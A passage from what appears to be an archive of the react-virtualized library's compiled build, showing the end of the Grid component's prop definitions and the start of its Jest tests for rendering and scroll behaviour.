   * Either a fixed row height (number) or a function that returns the height of a row given its index.
   * Should implement the following interface: ({ index: number }): number
   */
  "rowHeight": function rowHeight() {
    return (typeof _types.bpfrpt_proptype_CellSize === "function" ? _types.bpfrpt_proptype_CellSize.isRequired ? _types.bpfrpt_proptype_CellSize.isRequired : _types.bpfrpt_proptype_CellSize : _propTypes["default"].shape(_types.bpfrpt_proptype_CellSize).isRequired).apply(this, arguments);
  },

  /** Number of rows in grid.  */
  "rowCount": _propTypes["default"].number.isRequired,

  /** Wait this amount of time after the last scroll event before resetting Grid `pointer-events`. */
  "scrollingResetTimeInterval": _propTypes["default"].number.isRequired,

  /** Horizontal offset. */
  "scrollLeft": _propTypes["default"].number,

  /**
   * Controls scroll-to-cell behavior of the Grid.
   * The default ("auto") scrolls the least amount possible to ensure that the specified cell is fully visible.
   * Use "start" to align cells to the top/left of the Grid and "end" to align bottom/right.
   */
  "scrollToAlignment": function scrollToAlignment() {
    return (typeof _types.bpfrpt_proptype_Alignment === "function" ? _types.bpfrpt_proptype_Alignment.isRequired ? _types.bpfrpt_proptype_Alignment.isRequired : _types.bpfrpt_proptype_Alignment : _propTypes["default"].shape(_types.bpfrpt_proptype_Alignment).isRequired).apply(this, arguments);
  },

  /** Column index to ensure visible (by forcefully scrolling if necessary) */
  "scrollToColumn": _propTypes["default"].number.isRequired,

  /** Vertical offset. */
  "scrollTop": _propTypes["default"].number,

  /** Row index to ensure visible (by forcefully scrolling if necessary) */
  "scrollToRow": _propTypes["default"].number.isRequired,

  /** Optional inline style */
  "style": _propTypes["default"].object.isRequired,

  /** Tab index for focus */
  "tabIndex": _propTypes["default"].number,

  /** Width of Grid; this property determines the number of visible (vs virtualized) columns.  */
  "width": _propTypes["default"].number.isRequired
}), _temp);
(0, _defineProperty2["default"])(Grid, "defaultProps", {
  'aria-label': 'grid',
  'aria-readonly': true,
  autoContainerWidth: false,
  autoHeight: false,
  autoWidth: false,
  cellRangeRenderer: _defaultCellRangeRenderer["default"],
  containerRole: 'rowgroup',
  containerStyle: {},
  estimatedColumnSize: 100,
  estimatedRowSize: 30,
  getScrollbarSize: _scrollbarSize["default"],
  noContentRenderer: renderNull,
  onScroll: function onScroll() {},
  onScrollbarPresenceChange: function onScrollbarPresenceChange() {},
  onSectionRendered: function onSectionRendered() {},
  overscanColumnCount: 0,
  overscanIndicesGetter: _defaultOverscanIndicesGetter["default"],
  overscanRowCount: 10,
  role: 'grid',
  scrollingResetTimeInterval: DEFAULT_SCROLLING_RESET_TIME_INTERVAL,
  scrollToAlignment: 'auto',
  scrollToColumn: -1,
  scrollToRow: -1,
  style: {},
  tabIndex: 0,
  isScrollingOptOut: false
});
(0, _reactLifecyclesCompat.polyfill)(Grid);
var _default = Grid;
exports["default"] = _default;commonjs/Grid/Grid.jest.js000064400000300754151677406000011464 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _regenerator = _interopRequireDefault(require("@babel/runtime/regenerator"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _testUtils = require("react-dom/test-utils");

var _reactTestRenderer = _interopRequireDefault(require("react-test-renderer"));

var _TestUtils = require("../TestUtils");

var _Grid = _interopRequireWildcard(require("./Grid"));

var _defaultCellRangeRenderer = _interopRequireDefault(require("./defaultCellRangeRenderer"));

var _CellMeasurer = require("../CellMeasurer");

var _defaultOverscanIndicesGetter = require("./defaultOverscanIndicesGetter");

var _maxElementSize = require("./utils/maxElementSize.js");

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var DEFAULT_COLUMN_WIDTH = 50;
var DEFAULT_HEIGHT = 100;
var DEFAULT_ROW_HEIGHT = 20;
var DEFAULT_WIDTH = 200;
var NUM_ROWS = 100;
var NUM_COLUMNS = 50;

function getScrollbarSize0() {
  return 0;
}

function getScrollbarSize20() {
  return 20;
}

describe('Grid', function () {
  function defaultCellRenderer(_ref) {
    var columnIndex = _ref.columnIndex,
        key = _ref.key,
        rowIndex = _ref.rowIndex,
        style = _ref.style;
    return React.createElement("div", {
      className: "gridItem",
      key: key,
      style: style
    }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
  }

  function simulateScroll(_ref2) {
    var grid = _ref2.grid,
        _ref2$scrollLeft = _ref2.scrollLeft,
        scrollLeft = _ref2$scrollLeft === void 0 ? 0 : _ref2$scrollLeft,
        _ref2$scrollTop = _ref2.scrollTop,
        scrollTop = _ref2$scrollTop === void 0 ? 0 : _ref2$scrollTop;
    var target = {
      scrollLeft: scrollLeft,
      scrollTop: scrollTop
    };
    grid._scrollingContainer = target; // HACK to work around _onScroll target check

    _testUtils.Simulate.scroll((0, _reactDom.findDOMNode)(grid), {
      target: target
    });
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    return React.createElement(_Grid["default"], (0, _extends2["default"])({
      cellRenderer: defaultCellRenderer,
      columnCount: NUM_COLUMNS,
      columnWidth: DEFAULT_COLUMN_WIDTH,
      getScrollbarSize: getScrollbarSize0,
      height: DEFAULT_HEIGHT,
      overscanColumnCount: 0,
      overscanRowCount: 0,
      autoHeight: false,
      rowHeight: DEFAULT_ROW_HEIGHT,
      rowCount: NUM_ROWS,
      width: DEFAULT_WIDTH
    }, props));
  }

  describe('number of rendered children', function () {
    it('should render enough children to fill the available area', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(20); // 5 rows x 4 columns
    });
    it('should not render more rows than available if the area is not filled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowCount: 2
      })));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(8); // 2 rows x 4 columns
    });
    it('should not render more columns than available if the area is not filled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 2
      })));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(10); // 5 rows x 2 columns
    }); // Small performance tweak added in 5.5.6

    it('should not render/parent cells that are null or false', function () {
      function cellRenderer(_ref3) {
        var columnIndex = _ref3.columnIndex,
            key = _ref3.key,
            rowIndex = _ref3.rowIndex,
            style = _ref3.style;

        if (columnIndex === 0) {
          return null;
        } else if (rowIndex === 0) {
          return false;
        } else {
          return React.createElement("div", {
            className: "cell",
            key: key,
            style: style
          }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
        }
      }

      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 3,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        rowCount: 3,
        cellRenderer: cellRenderer
      })));
      expect(rendered.querySelectorAll('.cell').length).toEqual(4); // [1,1], [1,2], [2,1], and [2,2]

      expect(rendered.textContent).not.toContain('column:0');
      expect(rendered.textContent).not.toContain('row:0');
    });
    it('should scroll to the last existing point when rows are removed', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        rowCount: 15
      }));
      simulateScroll({
        grid: grid,
        scrollTop: 200
      });
      var updatedGrid = (0, _TestUtils.render)(getMarkup({
        rowCount: 10
      }));
      expect(updatedGrid.state.scrollTop).toEqual(100);
    });
    it('should scroll to the last existing point when columns are removed', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        columnCount: 12
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 400
      });
      var updatedGrid = (0, _TestUtils.render)(getMarkup({
        columnCount: 8
      }));
      expect(updatedGrid.state.scrollLeft).toEqual(200);
    });
    it('should not scroll unseen rows are removed', function () {
      (0, _TestUtils.render)(getMarkup({
        rowCount: 15
      }));
      var updatedGrid = (0, _TestUtils.render)(getMarkup({
        rowCount: 10
      }));
      expect(updatedGrid.state.scrollTop).toEqual(0);
    });
    it('should not scroll when unseen columns are removed', function () {
      (0, _TestUtils.render)(getMarkup({
        columnCount: 12
      }));
      var updatedGrid = (0, _TestUtils.render)(getMarkup({
        columnCount: 8
      }));
      expect(updatedGrid.state.scrollLeft).toEqual(0);
    });
  });
  describe('shows and hides scrollbars based on rendered content', function () {
    it('should set overflowX:hidden if columns fit within the available width and y-axis has no scrollbar', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should set overflowX:hidden if columns and y-axis scrollbar fit within the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        width: 200 + getScrollbarSize20()
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should leave overflowX:auto if columns require more than the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        width: 200 - 1,
        rowCount: 5
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should leave overflowX:auto if columns and y-axis scrollbar require more than the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        width: 200 + getScrollbarSize20() - 1
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should set overflowY:hidden if rows fit within the available width and xaxis has no scrollbar', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        columnCount: 4
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should set overflowY:hidden if rows and x-axis scrollbar fit within the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        height: 100 + getScrollbarSize20()
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should leave overflowY:auto if rows require more than the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        height: 100 - 1,
        columnCount: 4
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should leave overflowY:auto if rows and x-axis scrollbar require more than the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        height: 100 + getScrollbarSize20() - 1
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should accept styles that overwrite calculated ones', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        height: 1,
        rowCount: 1,
        style: {
          overflowY: 'visible',
          overflowX: 'visible'
        },
        width: 1
      })));
      expect(rendered.style.overflowY).toEqual('visible');
      expect(rendered.style.overflowX).toEqual('visible');
    });
  });
  /** Tests scrolling via initial props */

  describe(':scrollToColumn and :scrollToRow', function () {
    it('should scroll to the left', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToColumn: 0
      }));
      expect(grid.state.scrollLeft).toEqual(0);
    });
    it('should scroll over to the middle', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToColumn: 24
      })); // 50 columns * 50 item width = 2,500 total item width
      // 4 columns can be visible at a time and :scrollLeft is initially 0,
      // So the minimum amount of scrolling leaves the 25th item at the right (just scrolled into view).

      expect(grid.state.scrollLeft).toEqual(1050);
    });
    it('should scroll to the far right', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToColumn: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // Target offset for the last item then is 2,500 - 200

      expect(grid.state.scrollLeft).toEqual(2300);
    });
    it('should scroll to the top', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToRow: 0
      }));
      expect(grid.state.scrollTop).toEqual(0);
    });
    it('should scroll down to the middle', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToRow: 49
      })); // 100 rows * 20 item height = 2,000 total item height
      // 5 rows can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(grid.state.scrollTop).toEqual(900);
    });
    it('should scroll to the bottom', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToRow: 99
      })); // 100 rows * 20 item height = 2,000 total item height
      // Target offset for the last item then is 2,000 - 100

      expect(grid.state.scrollTop).toEqual(1900);
    });
    it('should scroll to a row and column just added', function () {
      var grid = (0, _TestUtils.render)(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid = (0, _TestUtils.render)(getMarkup({
        columnCount: NUM_COLUMNS + 1,
        rowCount: NUM_ROWS + 1,
        scrollToColumn: NUM_COLUMNS,
        scrollToRow: NUM_ROWS
      }));
      expect(grid.state.scrollLeft).toEqual(2350);
      expect(grid.state.scrollTop).toEqual(1920);
    });
    it('should scroll back to a newly-added cell without a change in prop', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        columnCount: NUM_COLUMNS,
        rowCount: NUM_ROWS,
        scrollToColumn: NUM_COLUMNS,
        scrollToRow: NUM_ROWS
      }));
      grid = (0, _TestUtils.render)(getMarkup({
        columnCount: NUM_COLUMNS + 1,
        rowCount: NUM_ROWS + 1,
        scrollToColumn: NUM_COLUMNS,
        scrollToRow: NUM_ROWS
      }));
      expect(grid.state.scrollLeft).toEqual(2350);
      expect(grid.state.scrollTop).toEqual(1920);
    });
    it('should scroll to the correct position for :scrollToAlignment "start"', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'start',
        scrollToColumn: 24,
        scrollToRow: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // 100 rows * 20 item height = 2,000 total item height
      // 4 columns and 5 rows can be visible at a time.
      // The minimum amount of scrolling leaves the specified cell in the bottom/right corner (just scrolled into view).
      // Since alignment is set to "start" we should scroll past this point until the cell is aligned top/left.

      expect(grid.state.scrollLeft).toEqual(1200);
      expect(grid.state.scrollTop).toEqual(980);
    });
    it('should scroll to the correct position for :scrollToAlignment "end"', function () {
      (0, _TestUtils.render)(getMarkup({
        scrollToColumn: 99,
        scrollToRow: 99
      }));
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'end',
        scrollToColumn: 24,
        scrollToRow: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // 100 rows * 20 item height = 2,000 total item height
      // We first scroll past the specified cell and then back.
      // The minimum amount of scrolling then should leave the specified cell in the top/left corner (just scrolled into view).
      // Since alignment is set to "end" we should scroll past this point until the cell is aligned bottom/right.

      expect(grid.state.scrollLeft).toEqual(1050);
      expect(grid.state.scrollTop).toEqual(900);
    });
    it('should scroll to the correct position for :scrollToAlignment "center"', function () {
      (0, _TestUtils.render)(getMarkup({
        scrollToColumn: 99,
        scrollToRow: 99
      }));
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'center',
        scrollToColumn: 24,
        scrollToRow: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // Viewport width is 200
      // Column 24 starts at 1,200, center point at 1,225, so...

      expect(grid.state.scrollLeft).toEqual(1125); // 100 rows * 20 item height = 2,000 total item height
      // Viewport height is 100
      // Row 49 starts at 980, center point at 990, so...

      expect(grid.state.scrollTop).toEqual(940);
    }); // Tests issue #691

    it('should set the correct :scrollLeft after height increases from 0', function () {
      _TestUtils.render.unmount();

      expect((0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 0,
        scrollToColumn: 24
      }))).scrollLeft || 0).toEqual(0);
      expect((0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 100,
        scrollToColumn: 24
      }))).scrollLeft).toEqual(1050);
    }); // Tests issue #691

    it('should set the correct :scrollTop after width increases from 0', function () {
      _TestUtils.render.unmount();

      expect((0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 49,
        width: 0
      }))).scrollTop || 0).toEqual(0);
      expect((0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 49,
        width: 100
      }))).scrollTop).toEqual(900);
    }); // Tests issue #218

    it('should set the correct :scrollTop after row and column counts increase from 0', function () {
      var expectedScrollTop = 100 * DEFAULT_ROW_HEIGHT - DEFAULT_HEIGHT + DEFAULT_ROW_HEIGHT;
      (0, _TestUtils.render)(getMarkup({
        columnCount: 0,
        rowCount: 150,
        scrollToRow: 100
      }));
      expect((0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 150,
        rowCount: 150,
        scrollToRow: 100
      }))).scrollTop).toEqual(expectedScrollTop);
    });
    it('should support scrollToCell() public method', function () {
      var grid = (0, _TestUtils.render)(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid.scrollToCell({
        columnIndex: 24,
        rowIndex: 49
      }); // 50 columns * 50 item width = 2,500 total item width
      // 4 columns can be visible at a time and :scrollLeft is initially 0,
      // So the minimum amount of scrolling leaves the 25th item at the right (just scrolled into view).

      expect(grid.state.scrollLeft).toEqual(1050); // 100 rows * 20 item height = 2,000 total item height
      // 5 rows can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(grid.state.scrollTop).toEqual(900); // Change column without affecting row

      grid.scrollToCell({
        columnIndex: 49
      });
      expect(grid.state.scrollLeft).toEqual(2300);
      expect(grid.state.scrollTop).toEqual(900); // Change row without affecting column

      grid.scrollToCell({
        rowIndex: 99
      });
      expect(grid.state.scrollLeft).toEqual(2300);
      expect(grid.state.scrollTop).toEqual(1900);
    });
    it('should support scrollToPosition() public method', function () {
      var grid = (0, _TestUtils.render)(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid.scrollToPosition({
        scrollLeft: 50,
        scrollTop: 100
      });
      expect(grid.state.scrollLeft).toEqual(50);
      expect(grid.state.scrollTop).toEqual(100); // Change column without affecting row

      grid.scrollToPosition({
        scrollLeft: 25
      });
      expect(grid.state.scrollLeft).toEqual(25);
      expect(grid.state.scrollTop).toEqual(100); // Change row without affecting column

      grid.scrollToPosition({
        scrollTop: 50
      });
      expect(grid.state.scrollLeft).toEqual(25);
      expect(grid.state.scrollTop).toEqual(50);
    });
    it('should support handleScrollEvent() public method', function () {
      var grid = (0, _TestUtils.render)(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid.handleScrollEvent({
        scrollLeft: 50,
        scrollTop: 100
      });
      expect(grid.state.isScrolling).toEqual(true);
      expect(grid.state.scrollLeft).toEqual(50);
      expect(grid.state.scrollTop).toEqual(100);
    });
    it('should support getOffsetForCell() public method', function () {
      var grid = (0, _TestUtils.render)(getMarkup());

      var _grid$getOffsetForCel = grid.getOffsetForCell({
        columnIndex: 24,
        rowIndex: 49
      }),
          scrollLeft = _grid$getOffsetForCel.scrollLeft,
          scrollTop = _grid$getOffsetForCel.scrollTop; // 50 columns * 50 item width = 2,500 total item width
      // 4 columns can be visible at a time and :scrollLeft is initially 0,
      // So the minimum amount of scrolling leaves the 25th item at the right (just scrolled into view).


      expect(scrollLeft).toEqual(1050); // 100 rows * 20 item height = 2,000 total item height
      // 5 rows can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(scrollTop).toEqual(900);
    });
    it('should support getTotalRowsHeight() public method', function () {
      var grid = (0, _TestUtils.render)(getMarkup());
      grid.recomputeGridSize();
      var totalHeight = grid.getTotalRowsHeight(); // 100 rows * 20 item height = 2,000 total item height

      expect(totalHeight).toEqual(2000);
    });
    it('should support getTotalColumnsWidth() public method', function () {
      var grid = (0, _TestUtils.render)(getMarkup());
      grid.recomputeGridSize();
      var totalWidth = grid.getTotalColumnsWidth(); // 50 columns * 50 item width = 2,500 total item width

      expect(totalWidth).toEqual(2500);
    }); // See issue #565

    it('should update scroll position to account for changed cell sizes within a function prop wrapper', function () {
      var _rowHeight = 20;
      var props = {
        height: 100,
        rowCount: 100,
        rowHeight: function rowHeight(_ref4) {
          var index = _ref4.index;
          return index === 99 ? _rowHeight : 20;
        },
        scrollToRow: 99
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      var node = (0, _reactDom.findDOMNode)(grid);
      expect(node.scrollTop).toBe(1900);
      _rowHeight = 40;
      grid.recomputeGridSize({
        rowIndex: 99
      });
      expect(node.scrollTop).toBe(1920);
    });
    it('should not restore scrollLeft when scrolling left and recomputeGridSize with columnIndex smaller than scrollToColumn', function () {
      var props = {
        columnWidth: 50,
        columnCount: 100,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      simulateScroll({
        grid: grid,
        scrollLeft: 2250
      });
      expect(grid.state.scrollLeft).toEqual(2250);
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      grid.recomputeGridSize({
        columnIndex: 30
      });
      expect(grid.state.scrollLeft).toEqual(2250);
    });
    it('should not restore scrollTop when scrolling up and recomputeGridSize with rowIndex smaller than scrollToRow', function () {
      var props = {
        columnWidth: 50,
        columnCount: 100,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      expect(grid.state.scrollTop).toEqual(920);
      simulateScroll({
        grid: grid,
        scrollTop: 720
      });
      expect(grid.state.scrollTop).toEqual(720);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      grid.recomputeGridSize({
        rowIndex: 20
      });
      expect(grid.state.scrollTop).toEqual(720);
    });
    it('should restore scroll offset for column when row count increases from 0 (and vice versa)', function () {
      var props = {
        columnWidth: 50,
        columnCount: 100,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      expect(grid.state.scrollTop).toEqual(920);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        columnCount: 0
      })));
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      (0, _TestUtils.render)(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      expect(grid.state.scrollTop).toEqual(920);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        rowCount: 0
      })));
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      (0, _TestUtils.render)(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      expect(grid.state.scrollTop).toEqual(920);
    });
    it('should take scrollbar size into account when aligning cells', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        columnWidth: 50,
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      }));
      expect(grid.state.scrollLeft).toEqual(2450 + getScrollbarSize20());
      expect(grid.state.scrollTop).toEqual(920 + getScrollbarSize20());
    });
  });
  describe('property updates', function () {
    it('should update :scrollToColumn position when :columnWidth changes', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToColumn: 25
      })));
      expect(grid.textContent).toContain('column:25'); // Making columns taller pushes name off/beyond the scrolled area

      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToColumn: 25,
        columnWidth: 20
      })));
      expect(grid.textContent).toContain('column:25');
    });
    it('should update :scrollToRow position when :rowHeight changes', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 50
      })));
      expect(grid.textContent).toContain('row:50'); // Making rows taller pushes name off/beyond the scrolled area

      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 50,
        rowHeight: 20
      })));
      expect(grid.textContent).toContain('row:50');
    });
    it('should update :scrollToColumn position when :width changes', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToColumn: 25
      })));
      expect(grid.textContent).toContain('column:25'); // Making the grid narrower leaves only room for 1 item

      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToColumn: 25,
        width: 50
      })));
      expect(grid.textContent).toContain('column:25');
    });
    it('should update :scrollToRow position when :height changes', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 50
      })));
      expect(grid.textContent).toContain('row:50'); // Making the grid shorter leaves only room for 1 item

      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 50,
        height: 20
      })));
      expect(grid.textContent).toContain('row:50');
    });
    it('should update :scrollToColumn position when :scrollToColumn changes', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(grid.textContent).not.toContain('column:25');
      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToColumn: 25
      })));
      expect(grid.textContent).toContain('column:25');
    });
    it('should update :scrollToRow position when :scrollToRow changes', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(grid.textContent).not.toContain('row:50');
      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 50
      })));
      expect(grid.textContent).toContain('row:50');
    });
    it('should update scroll position if size shrinks smaller than the current scroll', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToColumn: 250
      })));
      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToColumn: 250,
        columnCount: 10
      })));
      expect(grid.textContent).toContain('column:9');
    });
    it('should update scroll position if size shrinks smaller than the current scroll', function () {
      var grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 500
      })));
      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      grid = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToRow: 500,
        rowCount: 10
      })));
      expect(grid.textContent).toContain('row:9');
    });
  });
  describe('noContentRenderer', function () {
    it('should call :noContentRenderer if :columnCount is 0', function () {
      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        columnCount: 0
      })));
      expect(list.textContent).toEqual('No data');
    });
    it('should call :noContentRenderer if :rowCount is 0', function () {
      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        rowCount: 0
      })));
      expect(list.textContent).toEqual('No data');
    }); // Sanity check for bvaughn/react-virtualized/pull/348

    it('should render an empty body if :rowCount or :columnCount changes to 0', function () {
      function noContentRenderer() {
        return React.createElement("div", null, "No data");
      }

      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noContentRenderer: noContentRenderer
      })));
      expect(list.textContent).not.toEqual('No data');
      list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noContentRenderer: noContentRenderer,
        rowCount: 0
      })));
      expect(list.textContent).toEqual('No data');
      list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noContentRenderer: noContentRenderer
      })));
      expect(list.textContent).not.toEqual('No data');
      list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 0,
        noContentRenderer: noContentRenderer
      })));
